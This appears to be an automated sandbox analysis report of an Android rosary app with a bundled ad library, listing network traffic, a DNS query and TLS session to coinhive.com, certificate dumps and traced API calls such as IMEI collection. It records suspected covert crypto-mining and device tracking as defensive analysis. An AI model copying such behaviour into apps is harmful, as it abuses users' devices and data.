Oct 30, 2017 12:37:17.975260019 CET52283687774.125.192.188192.168.1.33
Oct 30, 2017 12:37:17.975703955 CET368775228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:23.418400049 CET5936253192.168.1.338.8.8.8
Oct 30, 2017 12:37:23.516786098 CET53593628.8.8.8192.168.1.33
Oct 30, 2017 12:37:25.915740013 CET5182753192.168.1.338.8.8.8
Oct 30, 2017 12:37:26.055433035 CET53518278.8.8.8192.168.1.33
Oct 30, 2017 12:37:26.056488991 CET34361443192.168.1.3394.130.90.152
Oct 30, 2017 12:37:26.056544065 CET4433436194.130.90.152192.168.1.33
Oct 30, 2017 12:37:26.056629896 CET34361443192.168.1.3394.130.90.152
Oct 30, 2017 12:37:26.058927059 CET34361443192.168.1.3394.130.90.152
Oct 30, 2017 12:37:26.058954954 CET4433436194.130.90.152192.168.1.33
Oct 30, 2017 12:37:26.208116055 CET4433436194.130.90.152192.168.1.33
Oct 30, 2017 12:37:26.208591938 CET34361443192.168.1.3394.130.90.152
Oct 30, 2017 12:37:26.211185932 CET4433436194.130.90.152192.168.1.33
Oct 30, 2017 12:37:26.211203098 CET4433436194.130.90.152192.168.1.33
Oct 30, 2017 12:37:26.211213112 CET4433436194.130.90.152192.168.1.33
Oct 30, 2017 12:37:26.212546110 CET34361443192.168.1.3394.130.90.152
Oct 30, 2017 12:37:26.212588072 CET34361443192.168.1.3394.130.90.152
Oct 30, 2017 12:37:26.212618113 CET34361443192.168.1.3394.130.90.152
Oct 30, 2017 12:37:26.217994928 CET34361443192.168.1.3394.130.90.152
Oct 30, 2017 12:37:26.218015909 CET4433436194.130.90.152192.168.1.33
Oct 30, 2017 12:37:26.232328892 CET34361443192.168.1.3394.130.90.152
Oct 30, 2017 12:37:26.232414007 CET4433436194.130.90.152192.168.1.33
Oct 30, 2017 12:37:26.232531071 CET34361443192.168.1.3394.130.90.152
Oct 30, 2017 12:37:43.649162054 CET492635228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:43.649199963 CET52284926374.125.192.188192.168.1.33
Oct 30, 2017 12:37:43.649435997 CET492635228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:43.650125980 CET492635228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:43.650154114 CET52284926374.125.192.188192.168.1.33
Oct 30, 2017 12:37:43.918529987 CET52284926374.125.192.188192.168.1.33
Oct 30, 2017 12:37:43.918668985 CET492635228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:43.946388960 CET52284926374.125.192.188192.168.1.33
Oct 30, 2017 12:37:43.946419954 CET52284926374.125.192.188192.168.1.33
Oct 30, 2017 12:37:43.946810961 CET492635228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:43.946906090 CET492635228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:43.950764894 CET492635228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:43.950793982 CET52284926374.125.192.188192.168.1.33
Oct 30, 2017 12:37:43.951100111 CET492635228192.168.1.3374.125.192.188
Oct 30, 2017 12:38:22.660239935 CET333765228192.168.1.3374.125.192.188
Oct 30, 2017 12:38:22.660315037 CET52283337674.125.192.188192.168.1.33
Oct 30, 2017 12:38:22.660547018 CET333765228192.168.1.3374.125.192.188
Oct 30, 2017 12:38:22.661427975 CET333765228192.168.1.3374.125.192.188
Oct 30, 2017 12:38:22.661463976 CET52283337674.125.192.188192.168.1.33
Oct 30, 2017 12:38:22.918602943 CET52283337674.125.192.188192.168.1.33
Oct 30, 2017 12:38:22.918628931 CET52283337674.125.192.188192.168.1.33
Oct 30, 2017 12:38:22.918633938 CET52283337674.125.192.188192.168.1.33
Oct 30, 2017 12:38:22.918802977 CET333765228192.168.1.3374.125.192.188
Oct 30, 2017 12:38:22.918847084 CET333765228192.168.1.3374.125.192.188
Oct 30, 2017 12:38:22.918874979 CET333765228192.168.1.3374.125.192.188
Oct 30, 2017 12:38:22.940578938 CET52283337674.125.192.188192.168.1.33
Oct 30, 2017 12:38:22.940749884 CET333765228192.168.1.3374.125.192.188
Oct 30, 2017 12:38:22.943440914 CET333765228192.168.1.3374.125.192.188
Oct 30, 2017 12:38:22.943475008 CET52283337674.125.192.188192.168.1.33
Oct 30, 2017 12:38:22.943839073 CET333765228192.168.1.3374.125.192.188
Oct 30, 2017 12:39:40.359718084 CET547655228192.168.1.3374.125.192.188
Oct 30, 2017 12:39:40.359793901 CET52285476574.125.192.188192.168.1.33
Oct 30, 2017 12:39:40.360086918 CET547655228192.168.1.3374.125.192.188
Oct 30, 2017 12:39:40.361212969 CET547655228192.168.1.3374.125.192.188
Oct 30, 2017 12:39:40.361238956 CET52285476574.125.192.188192.168.1.33
Oct 30, 2017 12:39:40.683868885 CET52285476574.125.192.188192.168.1.33
Oct 30, 2017 12:39:40.683912992 CET52285476574.125.192.188192.168.1.33
Oct 30, 2017 12:39:40.683927059 CET52285476574.125.192.188192.168.1.33
Oct 30, 2017 12:39:40.684277058 CET547655228192.168.1.3374.125.192.188
Oct 30, 2017 12:39:40.684341908 CET547655228192.168.1.3374.125.192.188
Oct 30, 2017 12:39:40.684391022 CET547655228192.168.1.3374.125.192.188
Oct 30, 2017 12:39:40.689268112 CET52285476574.125.192.188192.168.1.33
Oct 30, 2017 12:39:40.689379930 CET547655228192.168.1.3374.125.192.188
Oct 30, 2017 12:39:40.691519022 CET547655228192.168.1.3374.125.192.188
Oct 30, 2017 12:39:40.691539049 CET52285476574.125.192.188192.168.1.33
Oct 30, 2017 12:39:40.691833019 CET547655228192.168.1.3374.125.192.188

UDP Packets

TimestampSource PortDest PortSource IPDest IP
Oct 30, 2017 12:37:03.868417978 CET651353192.168.1.338.8.8.8
Oct 30, 2017 12:37:03.941587925 CET5365138.8.8.8192.168.1.33
Oct 30, 2017 12:37:23.418400049 CET5936253192.168.1.338.8.8.8
Oct 30, 2017 12:37:23.516786098 CET53593628.8.8.8192.168.1.33
Oct 30, 2017 12:37:25.915740013 CET5182753192.168.1.338.8.8.8
Oct 30, 2017 12:37:26.055433035 CET53518278.8.8.8192.168.1.33

DNS Queries

TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
Oct 30, 2017 12:37:25.915740013 CET192.168.1.338.8.8.80xe35fStandard query (0)coinhive.comA (IP address)IN (0x0001)

DNS Answers

TimestampSource IPDest IPTrans IDReplay CodeNameCNameAddressTypeClass
Oct 30, 2017 12:37:26.055433035 CET8.8.8.8192.168.1.330xe35fNo error (0)coinhive.com94.130.90.152A (IP address)IN (0x0001)

HTTPS Packets

TimestampSource PortDest PortSource IPDest IPSubjectIssuerNot BeforeNot AfterRaw
Oct 30, 2017 12:37:26.211213112 CET4433436194.130.90.152192.168.1.33CN=*.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control ValidatedCN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBThu Sep 28 02:00:00 CEST 2017Sat Sep 29 01:59:59 CEST 2018[[ Version: V3 Subject: CN=*.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26658317003285746363121333279857244085573308823102137205729012620640147823525052698316965457763411913676477546531548507312916356931304826388840013478651191545863546966144946708284128328089537376600460701305106235519311168604662007117437809864360205524441208790620413529958136189828304432173616254041149825089210744877965464274101827449045557934790603199550487724675704009047161638646414200391427441036585306267165507167134384741871902608741119881051105075175451173662844423504189356774777028862290201795506867227124530566941597848300713615938385221359484731520442541517570978960753558898721372817421144784152567509711 public exponent: 65537 Validity: [From: Thu Sep 28 02:00:00 CEST 2017, To: Sat Sep 29 01:59:59 CEST 2018] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 0ae1e6bd 51fb3d8f 06be0db5 5ebde9df]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: *.coinhive.com DNSName: coinhive.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 29 F1 E5 DD 3B B5 06 C7 B5 5D B3 A1 05 6E F2 AC )...;....]...n..0010: E7 D1 CA 9F ....]]] Algorithm: [SHA256withRSA] Signature:0000: 27 AA 15 58 F2 86 A0 8A 0F 92 DC F7 79 16 03 20 '..X........y.. 0010: EC F1 40 B8 C0 CD BE D0 42 78 ED 2D A8 75 CD 1D ..@.....Bx.-.u..0020: 4E B9 03 4D 02 21 AB 14 54 DF 62 61 AD C8 AB B6 N..M.!..T.ba....0030: BC 40 CE 49 F5 E0 3C 30 63 8A D3 B9 22 CC A9 80 .@.I..<0c..."...0040: 15 0B 3E 53 E1 ED DA 43 14 EA 24 C9 DD 18 5A 80 ..>S...C..$...Z.0050: FC 0D 45 12 28 39 3C DE 82 D7 3D 2E 4F 92 26 84 ..E.(9<...=.O.&.0060: 7B B0 BD B3 51 5A 1F 5A B7 54 B3 BA 99 DA 1B 4C ....QZ.Z.T.....L0070: 89 27 2A 89 D5 C0 F6 97 D6 29 27 73 0B AF 71 32 .'*......)'s..q20080: 67 A4 9F 10 33 62 DB 63 9E 54 60 A3 C5 F9 19 B8 g...3b.c.T`.....0090: 35 DC 34 9E 45 28 1D 63 28 F9 CB E4 2F 33 0D A0 5.4.E(.c(.../3..00A0: 59 6F 1F CF B9 B8 31 38 A9 B5 77 F4 29 99 36 57 Yo....18..w.).6W00B0: 38 CA 11 65 2A 2C 10 86 81 09 D4 F1 D3 18 BF 28 8..e*,.........(00C0: AB 15 A0 B5 E5 73 F8 CB BA 6B 6D 1A 5F 57 BF 20 .....s...km._W. 00D0: 7A 46 EA 5F 14 2F 90 C4 8C 0C 5E BF 4F 3F 1E 72 zF._./....^.O?.r00E0: 97 31 9D EB 62 80 2E 47 63 03 21 F3 42 90 0E 4A .1..b..Gc.!.B..J00F0: EC 7E 07 3E 1B 6D C6 78 1B F8 BC FE 6A 90 71 C7 ...>.m.x....j.q.]
Oct 30, 2017 12:37:26.211213112 CET4433436194.130.90.152192.168.1.33CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBWed Feb 12 01:00:00 CET 2014Mon Feb 12 00:59:59 CET 2029[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
Oct 30, 2017 12:37:26.211213112 CET4433436194.130.90.152192.168.1.33CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SETue May 30 12:48:38 CEST 2000Sat May 30 12:48:38 CEST 2020[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]

APK Behavior

Simulated Events

TypeData
boot completed
  • -
time tick
  • -
incoming sms
  • 0123456789
  • this is a text message
outgoing sms
  • 9876543210
  • thank you
location change
  • 54.13
  • 12.14
incoming call
  • 0123456789
outgoing call
  • 9876543210
time tick
  • -

Interacted Views

View Data
  • Object: android.widget.Button{8c81d6f VFED..C. ......I. 0,15-600,54 #7f070001 app:id/inizia}
  • X: 300
  • Y: 106
  • Label: Inizia
API: android.location.LocationManager->getBestProvider at ..:150 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:10 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:13 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:12 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:10 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:10 Show source
API: android.net.wifi.WifiManager->isWifiEnabled at com.vxjxu.jkhfn1870.UserDetails.getImei:90 Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> at com.vxjxu.jkhfn1870.SendIntegrationError$1.run:137 Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> at com.vxjxu.jkhfn1870.MraidView$6.run:68 Show source
API: java.net.URL->openConnection at com.vxjxu.jkhfn1870.MraidView$2$1.run:9 Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> at ..:5 Show source
API: android.webkit.WebView-><init> at com.vxjxu.jkhfn1870.ImageBanner.<init>:15 Show source
API: java.net.URL->openConnection at ..:21 Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> at ..:41 Show source
API: android.webkit.WebView-><init> at ..:31 Show source
API: android.webkit.WebView-><init> at ..:56 Show source
API: java.net.URL->openConnection at ..:10 Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> at com.vxjxu.jkhfn1870.NetworkThread.run:89 Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> at com.vxjxu.jkhfn1870.ImageBanner$2.run:68 Show source
API: android.webkit.WebView-><init> at com.vxjxu.jkhfn1870.MraidView.<init>:10 Show source
API: java.net.URL->openConnection at com.vxjxu.jkhfn1870.ImageTask.doInBackground:9 Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> at com.vxjxu.jkhfn1870.OverlayAd$3.run:69 Show source
API: android.webkit.WebView-><init> at com.vxjxu.jkhfn1870.OverlayAd.<init>:91 Show source
API: android.webkit.WebView-><init> at ..:5 Show source
API: android.webkit.WebView-><init> at ..:103 Show source
API: android.webkit.WebView-><init> at com.vxjxu.jkhfn1870.MraidView.<init>:12 Show source
API: android.webkit.WebView-><init> at com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.<init>:12 Show source
API: android.telephony.TelephonyManager->getDeviceId at ..:81 Show source
API: android.telephony.TelephonyManager->getDeviceId at com.vxjxu.jkhfn1870.UserDetails.getImei:10 Show source
API: android.content.Intent->getExtras at prsolutions.rosariofacileads.Player.onCreate:8 Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[mParcelledData.dataSize=32]
API: prsolutions.rosariofacileads.Player->setContentView at prsolutions.rosariofacileads.Player.SettaggioIniziale:4 Show source
NameTypeValue
layoutResIDjava.lang.Integer
  • toString: 2130903042
API: android.content.Context->getString at prsolutions.rosariofacileads.Player.FormattaOggi:64 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131034126
NameTypeValue
Return Valuejava.lang.String
  • toString: Martedi
API: android.content.Context->getString at prsolutions.rosariofacileads.Player.FormattaOggi:67 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131034117
NameTypeValue
Return Valuejava.lang.String
  • toString: Dolorosi
API: android.media.MediaPlayer->create at prsolutions.rosariofacileads.Player.playAudio:61 Show source
NameTypeValue
p0prsolutions.rosariofacileads.Player
  • toString: prsolutions.rosariofacileads.Player@1d08e6f3
p1java.lang.Integer
  • toString: 2130968600
NameTypeValue
Return Valueandroid.media.MediaPlayer
  • toString: android.media.MediaPlayer@12ecff8
API: prsolutions.rosariofacileads.RosarioFacile->startActivity at prsolutions.rosariofacileads.RosarioFacile$2.onClick:19 Show source
NameTypeValue
intentandroid.content.Intent
  • toString: Intent { cmp=prsolutions.rosariofacileads/.Player (has extras) }
API: android.os.Handler-><init> at com.vxjxu.jkhfn1870.AdView$2.<init>:3 Show source
API: com.vxjxu.jkhfn1870.AdView->setVisibility at com.vxjxu.jkhfn1870.AdView$2.handleMessage:9 Show source
API: com.vxjxu.jkhfn1870.AdView->setVisibility at com.vxjxu.jkhfn1870.AdView$2.handleMessage:15 Show source
API: com.vxjxu.jkhfn1870.AdView->setVisibility at com.vxjxu.jkhfn1870.AdView$2.handleMessage:21 Show source
API: com.vxjxu.jkhfn1870.AdView->access$000 at com.vxjxu.jkhfn1870.AdView$2.handleMessage:26 Show source
API: java.lang.Object-><init> at com.vxjxu.jkhfn1870.AdView$8$1.<init>:4 Show source
API: java.lang.Boolean->booleanValue at com.vxjxu.jkhfn1870.AdView$8$1.run:4 Show source
API: com.vxjxu.jkhfn1870.AdView->access$1100 at com.vxjxu.jkhfn1870.AdView$8$1.run:12 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AdView$8$1.run:19 Show source
API: org.json.JSONObject-><init> at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:8 Show source
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:12 Show source
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:19 Show source
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:27 Show source
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:33 Show source
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:38 Show source
API: android.content.Intent-><init> at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:50 Show source
API: android.content.Intent->setAction at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:54 Show source
API: android.content.Intent->setFlags at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:57 Show source
API: android.content.Intent->addFlags at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:60 Show source
API: android.content.Intent->addFlags at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:63 Show source
API: android.content.Intent->putExtra at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:69 Show source
API: android.content.Intent->putExtra at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:73 Show source
API: android.app.Activity->startActivity at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:77 Show source
API: org.json.JSONObject->getInt at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:82 Show source
API: org.json.JSONObject->getString at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:88 Show source
API: org.json.JSONObject->getString at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:94 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:103 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:111 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:122 Show source
